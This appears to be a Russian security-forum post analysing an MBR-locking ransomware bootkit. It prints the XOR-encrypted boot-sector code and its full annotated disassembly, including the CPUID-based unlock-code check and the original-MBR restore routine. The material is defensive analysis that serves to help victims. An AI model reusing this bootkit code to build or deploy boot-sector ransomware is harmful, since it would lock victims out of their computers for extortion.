Показано с 1 по 1 из 1.

Анализ нового MBRlock bootkitlocker.gen32

  1. #1
    Странствующий хэлпер Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Репутация Аватар для thyrex
    Регистрация
    07.03.2009
    Адрес
    Soligorsk, Belarus
    Сообщений
    90,504
    Вес репутации
    2915

    Анализ нового MBRlock bootkitlocker.gen32

    Появился новый MBRlock https://www.virustotal.com/file/1cc3...is/1330096104/



    Примеры тем
    http://forum.kaspersky.com/index.php?showtopic=229855
    http://forum.kaspersky.com/index.php?showtopic=229825

    Ускоренный анализ дампа из первой темы показал следующее
    1. Почти весь код пошифрован с помощью XOR байтом по смещению 1FC
    2. Код разблокировки основан на характеристиках процессора заблокированной машины (в тонкостях не разбирался)
    3. Оригинальный MBR хранится во втором секторе и дешифровывается с помощью операции XOR с содержимым седьмого сектора

    Код вымогателя в первом секторе


    Код:
    00000000: 6660		pushad
    00000002: FC		cld
    00000003: BE007C	mov	si,07C00
    00000006: BF0006	mov	di,00600
    00000009: B90002	mov	cx,00200
    0000000C: F3A4		rep	movsb
    0000000E: BB2C7C	mov	bx,07C2C
    00000011: 81EB007C	sub	bx,07C00
    00000015: 81C30006	add	bx,00600
    00000019: 89D9		mov	cx,bx
    ; дешифровка кода
    0000001B: 8A07		mov	al,[bx]
    0000001D: 3206FC07	xor	al,[007FC]
    00000021: 8807		mov	[bx],al
    00000023: 43		inc	bx
    00000024: 81FBFB07	cmp	bx,007FB
    00000028: 75F1		jnz	00000001B
    0000002A: FFE1		jmp	cx
    ; зашифрованный участок (002C – 01FA)
    0000002C: 78C3		js	0FFFFFFF1
    0000002E: C00DD0	ror	b,[di],0D0
    00000031: 287EC0	sub	[bp][0C0],bh
    00000034: 49		dec	cx
    00000035: 1E		push	ds
    00000036: 2850C0	sub	[bx][si][0C0],dl
    00000039: 28AEC028	sub	[bp][028C0],ch
    0000003D: 7FC0		jg	0FFFFFFFF
    0000003F: 97		xchg	di,ax
    00000040: 74C0		jz	000000002
    00000042: 0DD69F	or	ax,09FD6
    00000045: FC		cld
    00000046: CDB4		int	0B4
    00000048: DAFC		#UD
    0000004A: E0B2		loopne 0FFFFFFFE
    0000004C: 32FC		xor	bh,ah
    0000004E: BEB72E	mov	si,02EB7
    00000051: 6A90		push	090
    00000053: EC		in	al,dx
    00000054: F014		#UD(lock)
    00000056: D015		rcl	b,[di],1
    00000058: C9		leave
    00000059: C0C6C0	rol	dh,0C0
    0000005C: E99828	jmp	0000028F7
    0000005F: E5C1		in	ax,0C1
    00000061: 2B1C		sub	bx,[si]
    00000063: 288AC143	sub	[bp][si][043C1],cl
    00000067: 38C0		cmp	al,al
    00000069: B4FA		mov	ah,-6
    0000006B: 7A40		jp	0000000AD
    0000006D: C078C1C2	sar	b,[bx][si][0C1],0C2
    00000071: 79C7		jns	00000003A
    00000073: C07BC0BE	sar	b,[bp][di][0C0],0BE
    00000077: 0DD379	or	ax,079D3
    0000007A: C2C078	retn	078C0
    0000007D: C1C27B	rol	dx,07B
    00000080: C0BC0DD34A	sar	b,[si][0D30D],04A
    00000085: C7F2		#UD
    00000087: 47		inc	di
    00000088: C0C248	rol	dl,048
    0000008B: C783413BC0BE 	mov	w,[bp][di][03B41],0BEC0
    00000091: B531		mov	ch,031
    00000093: 79C1		jns	000000056
    00000095: C078C1C3	sar	b,[bx][si][0C1],0C3
    00000099: 7BC0		jnp	00000005B
    0000009B: BC0DD3	mov	sp,0D30D
    0000009E: A6		cmpsb
    0000009F: A12AC0	mov	ax,[0C02A]
    000000A2: BCC0C0	mov	sp,0C0C0
    000000A5: 3A703E	cmp	dh,[bx][si][03E]
    000000A8: 26A4		movsb
    000000AA: F1		#ICE1
    000000AB: 09966CFC	or	[bp][0FC6C],dx
    000000AF: C0B4C94139	sal	b,[si][041C9],039
    000000B4: 3F		aas
    000000B5: C7B4		#UD
    000000B7: C3		retn
    000000B8: 812B329E	sub	w,[bp][di],09E32
    000000BC: 78C1		js	00000007F
    000000BE: D3F1		sal	cx,cl
    000000C0: 127BCF	adc	bh,[bp][di][0CF]
    000000C3: C049350D	ror	b,[bx][di][035],00D
    000000C7: D003		rol	b,[bp][di],1
    000000C9: 7A40		jp	00000010B
    000000CB: C079C8C0	sar	b,[bx][di][0C8],0C0
    000000CF: 78C8		js	000000099
    000000D1: C27BC0	retn	0C07B
    000000D4: D00D		ror	b,[di],1
    000000D6: D3491D	ror	w,[bx][di][01D],cl
    000000D9: 4A		dec	dx
    000000DA: 87D2		xchg	dx,dx
    000000DC: FC		cld
    000000DD: BEB4C1	mov	si,0C1B4
    000000E0: 0374D1	add	si,[si][0D1]
    000000E3: 70C0		jo	0000000A5
    000000E5: 793F		jns	000000126
    000000E7: C07AC0C0	sar	b,[bp][si][0C0],0C0
    000000EB: 77D0		ja	0000000BD
    000000ED: 73C0		jnc	0000000AF
    000000EF: 0DD003	or	ax,003D0
    000000F2: 79C3		jns	0000000B7
    000000F4: C078C4C2	sar	b,[bx][si][0C4],0C2
    000000F8: 7BC0		jnp	0000000BA
    000000FA: E00D		loopne 000000109
    000000FC: D303		rol	w,[bp][di],cl
    000000FE: 4A		dec	dx
    000000FF: E63D		out	03D,al
    00000101: C760		#UD
    00000103: 3BC7		cmp	ax,di
    00000105: 28A0C078	sub	[bx][si][078C0],ah
    00000109: C0C0CF	rol	al,0CF
    0000010C: 6248FE	bound	cx,[bx][si][-2]
    0000010F: C0E848	shr	al,048
    00000112: DEC1		faddp	st(1),st(0)
    00000114: E84918	call	000001960
    00000117: 288EC078	sub	[bp][078C0],cl
    0000011B: C0C0CF	rol	al,0CF
    0000011E: 6248EE	bound	cx,[bx][si][0EE]
    00000121: C2E848	retn	048E8
    00000124: CE		into
    00000125: C3		retn
    00000126: E84908	call	000000972
    00000129: 28FC		sub	ah,bh
    0000012B: C078C1C0	sar	b,[bx][si][0C1],0C0
    0000012F: CF		iret
    00000130: 6248FE	bound	cx,[bx][si][-2]
    00000133: C4		#UD(mod)
    00000134: E848DE	call	00000DF7F
    00000137: C5		#UD(mod)
    00000138: E84918	call	000001984
    0000013B: 28EA		sub	dl,ch
    0000013D: C078C1C0	sar	b,[bx][si][0C1],0C0
    00000141: CF		iret
    00000142: 6248F6	bound	cx,[bx][si][0F6]
    00000145: C6E8		#UD
    00000147: 48		dec	ax
    00000148: D6		setalc
    00000149: C7E8		#UD
    0000014B: 49		dec	cx
    0000014C: 1028		adc	[bx][si],ch
    0000014E: D8C0		fadd	st(0),st(0)
    00000150: 7E04		jle	000000156
    00000152: BD412E	mov	bp,02E41
    00000155: C0BC4106C0	sar	b,[si][00641],0C0
    0000015A: C66C		#UD
    0000015C: FC		cld
    0000015D: C0B4C79628	sal	b,[si][096C7],028
    00000162: E2C0		loop	000000124
    00000164: 9E		sahf
    00000165: 2B34		sub	si,[si]
    00000167: 03A6A071	add	sp,[bp][071A0]
    0000016B: CC		int	3
    0000016C: 52		push	dx
    0000016D: 49		dec	cx
    0000016E: 1013		adc	[bp][di],dl
    00000170: 28E4		sub	ah,ah
    00000172: CF		iret
    00000173: C4		#UD(mod)
    00000174: F0FC		#UD(lock)
    00000176: F9		stc
    00000177: B6C2		mov	dh,0C2
    00000179: C4		#UD(mod)
    0000017A: C728		#UD
    0000017C: C8C04029	enter	040C0,029
    00000180: C4B32AA6	les	si,[bp][di][0A62A]
    00000184: A103A6	mov	ax,[0A603]
    00000187: A07BCB	mov	al,[0CB7B]
    0000018A: C074CE0D	sal	b,[si][0CE],00D
    0000018E: D0A6A103	shl	b,[bp][003A1],1
    00000192: 03963C7B	add	dx,[bp][07B3C]
    00000196: 3F		aas
    00000197: 3F		aas
    00000198: 6C		insb
    00000199: 91		xchg	cx,ax
    0000019A: 79C8		jns	000000164
    0000019C: C0F003	sal	al,3
    0000019F: 112B		adc	[bp][di],bp
    000001A1: B3C4		mov	bl,0C4
    000001A3: 41		inc	cx
    000001A4: 33C1		xor	ax,cx
    000001A6: 60		pusha
    000001A7: 22369922	and	dh,[02299]
    000001AB: 2C49		sub	al,049'
    000001AD: 189E037E	sbb	[bp][07E03],bl
    000001B1: C0E879	shr	al,079
    000001B4: C8C0281A	enter	028C0,01A
    000001B8: 3F		aas
    000001B9: C020FA	shl	b,[bx][si],-6
    000001BC: C6C0E9	mov	al,0E9
    000001BF: B4C2		mov	ah,0C2
    000001C1: F1		#ICE1
    000001C2: 0003		add	[bp][di],al
    000001C4: CDCA	int	0CA
    000001C6: 90		nop
    000001C7: A1B3B3	mov	ax,[0B3B3]
    000001CA: B7AF		mov	bh,0AF
    000001CC: B2A4		mov	dl,0A4
    000001CE: FA		cli
    000001CF: E0C0		loopne 000000191
    000001D1: C0C0C0	rol	al,0C0
    000001D4: C0C0C0	rol	al,0C0
    000001D7: C0C0C0	rol	al,0C0
    000001DA: C0C0C0	rol	al,0C0
    000001DD: C0C0C0	rol	l,0C0
    000001E0: C0C0C0	rol	al,0C0
    000001E3: C0C0C0	rol	al,0C0
    000001E6: C0C0C0	rol	al,0C0
    000001E9: C0C0C0	rol	al,0C0
    000001EC: C0C0C0	rol	al,0C0
    000001EF: C0C0C0	rol	al,0C0
    000001F2: C0C0C0	rol	al,0C0
    000001F5: C0C0C0	rol	al,0C0
    000001F8: C0C0C0	rol	l,0C0
    ; конец зашифрованного участка
    000001FB: 16		push	ss
    000001FC: C00355	rol	b,[bp][di],055
    000001FF: AA		stosb
    Скрыть


    дешифрованный код вымогателя


    Код:
    ; установить видеорежим
    0000002C: B80300	mov		ax,3
    0000002F: CD10		int		010
    
    ; чтение секторов с сообщением вымогателя
    00000031: E8BE00	call		0000000F2
    00000034: 89DE		mov		si,bx
    
    ; инициализация знакогенератора
    00000036: E89000	call		0000000C9
    
    ; вывод сообщения
    00000039: E86E00	call		0000000AA
    
    ; получение информации о процессоре и вывод строки ввода кода
    0000003C: E8BF00	call		0000000FE
    ; ввод кода
    0000003F: 57		push		di
    00000040: B400		mov		ah,0
    00000042: CD16		int		016
    00000044: 5F		pop		di
    00000045: 3C0D		cmp		al,00D
    00000047: 741A		jz		000000063
    00000049: 3C20		cmp		al,020
    0000004B: 72F2		jc		00000003F
    0000004D: 3C7E		cmp		al,07E
    0000004F: 77EE		ja		00000003F
    00000051: AA		stosb
    00000052: 50		push		ax
    00000053: 2C30		sub		al,030
    00000055: D410		aam		010
    00000057: D509		aad		9
    00000059: 00060029	add		[02900],al
    0000005D: 58		pop		ax
    0000005E: E82501	call		000000186
    00000061: EBDC		jmps		00000003F
    
    ; проверка кода
    00000063: E84A01	call		0000001B0
    00000066: 83F800	cmp		ax,0
    00000069: 743A		jz		0000000A5
    ; код верный, чтение и дешифровка оригинального MBR
    0000006B: BA8000	mov		dx,00080
    0000006E: B80102	mov		ax,00201
    00000071: B90700	mov		cx,7
    00000074: BB007E	mov		bx,07E00
    00000077: CD13		int		013
    00000079: B90200	mov		cx,2
    0000007C: B80102	mov		ax,00201
    0000007F: BB007C	mov		bx,07C00
    00000082: CD13		int		013
    00000084: 8A07		mov		al,[bx]
    00000086: 32870002	xor		al,[bx][00200]
    0000008A: 8807		mov		[bx],al
    0000008C: 43		inc		bx
    0000008D: 81FB007E	cmp		bx,07E00
    00000091: 75F1		jnz		000000084
    00000093: B90100	mov		cx,1
    00000096: B80103	mov		ax,00301
    00000099: BB007C	mov		bx,07C00
    0000009C: CD13		int		013
    0000009E: 6661		popad
    000000A0: EA007C0000	jmpf		00000:07C00
    000000A5: FA		cli
    000000A6: B0FE		mov		al,-2
    000000A8: E664		out		064,al
    
    ; вывод сообщения
    000000AA: 31C9		xor		cx,cx
    000000AC: 56		push		si
    000000AD: AC		lodsb
    000000AE: 3C00		cmp		al,0
    000000B0: 7409		jz		0000000BB
    000000B2: 81F9FF07	cmp		cx,007FF
    000000B6: 7403		jz		0000000BB
    000000B8: 41		inc		cx
    000000B9: EBF2		jmps		0000000AD
    000000BB: 5E		pop		si
    000000BC: B80113	mov		ax,01301
    000000BF: 31D2		xor		dx,dx
    000000C1: BB0F00	mov		bx,0000F
    000000C4: 89F5		mov		bp,si
    000000C6: CD10		int		010
    000000C8: C3		retn
    
    ; загрузка знакогенератора
    000000C9: BA8000	mov		dx,00080
    000000CC: B90800	mov		cx,8
    000000CF: B80802	mov		ax,00208
    000000D2: BB0010	2mov		bx,01000
    000000D5: CD13		int		013
    000000D7: 89DD		mov		bp,bx
    000000D9: 8A4712	mov		al,[bx][012]
    000000DC: 3C7E		cmp		al,07E
    000000DE: 7401		jz		0000000E1
    000000E0: C3		retn
    000000E1: B411		mov		ah,011
    000000E3: B000		mov		al,0
    000000E5: B9FF00	mov		cx,000FF
    000000E8: BA0000	mov		dx,0
    000000EB: B710		mov		bh,010
    000000ED: B300		mov		bl,0
    000000EF: CD10		int		010
    000000F1: C3		retn
    
    ; прочитать 4 сектора (3, 4, 5, 6) по адресу es:bx
    000000F2: B90300	mov		cx,3
    000000F5: B80402	mov		ax,00204
    000000F8: BB0020	mov		bx,02000
    000000FB: CD13		int		013
    000000FD: C3		retn
    
    ; сохранение информации о процесс + подготовка строки ввода кода
    000000FE: 8A26FD07	mov		ah,[007FD] ; ah = 03
    00000102: A0FB07	mov		al,[007FB] ; al = 16
    00000105: E86000	call		00000168
    ; получение информации о процессоре
    00000108: B80000	mov		ax,0
    0000010B: 0FA2		cpuid
    0000010D: 883E0028	mov		[02800],bh
    00000111: 881E0128	mov		[02801],bl
    00000115: 89D8		mov		ax,bx
    00000117: E84E00	call		000000168
    0000011A: B80000	mov		ax,0
    0000011D: 0FA2		cpuid
    0000011F: 882E0228	mov		[02802],ch
    00000123: 880E0328	mov		[02803],cl
    00000127: 89C8		mov		ax,cx
    00000129: E83C00	call		000000168
    0000012C: B80100	mov		ax,1
    0000012F: 0FA2		cpuid
    00000131: 883E0428	mov		[02804],bh
    00000135: 881E0528	mov		[02805],bl
    00000139: 89D8		mov		ax,bx
    0000013B: E82A00	call		000000168
    0000013E: B80100	mov		ax,1
    00000141: 0FA2		cpuid
    00000143: 88360628	mov		[02806],dh
    00000147: 88160728	mov		[02807],dl
    0000014B: 89D0		mov		ax,dx
    0000014D: E81800	call		000000168
    00000150: BEC47D	mov		si,07DC4
    00000153: 81EE007C	sub		si,07C00
    00000157: 81C60006	add		si,00600
    0000015B: AC		lodsb
    0000015C: 3C00		cmp		al,0
    0000015E: 7407		jz		000000167
    00000160: 56		push		si
    00000161: E82200	call		000000186
    00000164: 5E		pop		si
    00000165: EBF4		jmps		00000015B
    00000167: C3		retn
    
    ; вывод 16-ричных цифр на экран
    00000168: 6660		pushad
    0000016A: B10C		mov		cl,00C
    0000016C: 92		xchg		dx,ax
    0000016D: 89D0		mov		ax,dx
    0000016F: D3E8		shr		ax,cl
    00000171: 240F		and		al,00F
    00000173: 0430		add		al,030
    00000175: 3C39		cmp		al,039'
    00000177: 7602		jbe		00000017B
    00000179: 0407		add		al,7
    0000017B: E80800	call		000000186
    0000017E: 80E904	sub		cl,4
    00000181: 73EA		jnc		00000016D
    00000183: 6661		popad
    00000185: C3		retn
    00000186: 6660		pushad
    00000188: BB0B00	mov		bx,0000B
    0000018B: B40E		mov		ah,00E
    0000018D: CD10		int		010
    0000018F: 6661		popad
    00000191: C3		retn
    
    00000192: C3		retn
    
    ; преобразование кода конфигурации
    00000193: 56		push		si
    00000194: FC		cld
    00000195: BBFFFF	mov		bx,-1
    00000198: AC		lodsb
    00000199: 51		push		cx
    0000019A: B90800	mov		cx,8
    0000019D: 30C3		xor		bl,al
    0000019F: D1EB		shr		bx,1
    000001A1: 7304		jnc		0000001A7
    000001A3: 81F301A0	xor		bx,0A001
    000001A7: E2F6		loop		00000019F
    000001A9: 59		pop		cx
    000001AA: E2EC		loop		000000198
    000001AC: 89D8		mov		ax,bx
    000001AE: 5E		pop		si
    000001AF: C3		retn
    
    ; проверка кода
    000001B0: BE0028	mov		si,02800
    000001B3: B90800	mov		cx,8
    000001B6: E8DAFF	call		000000193
    000001B9: 00E0		add		al,ah
    000001BB: 3A060029	cmp		al,[02900]
    000001BF: 7402		jz		0000001C3
    000001C1: 31C0		xor		ax,ax
    000001C3: C3		retn
    
    000001C4: 0D0A, ‘Password: ’
    000001D0: 0000
    …
    000001F8: 0000
    Скрыть


    Вот еще http://vms.drweb.com/virus/?i=1653674
    Последний раз редактировалось thyrex; 25.02.2012 в 12:57.
    Microsoft MVP 2012, 2013, 2014, 2015, 2016 Consumer Security

  2. thyrex получил(а) 3 благодарностей за это сообщение от


  3. Реклама
     

Похожие темы

  1. Trojan.MBRlock.6 не удаляестя.
    От ninja в разделе Помогите!
    Ответов: 3
    Последнее сообщение: 04.06.2012, 20:00
  2. Очень похож на Trojan.MBRlock.6
    От zloi в разделе Помогите!
    Ответов: 5
    Последнее сообщение: 08.05.2012, 00:14
  3. Серьезный MBRLock
    От Jook в разделе Помогите!
    Ответов: 2
    Последнее сообщение: 06.11.2011, 20:59

Метки для этой темы

Свернуть/Развернуть Ваши права в разделе

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
  •  
Page generated in 0.00779 seconds with 18 queries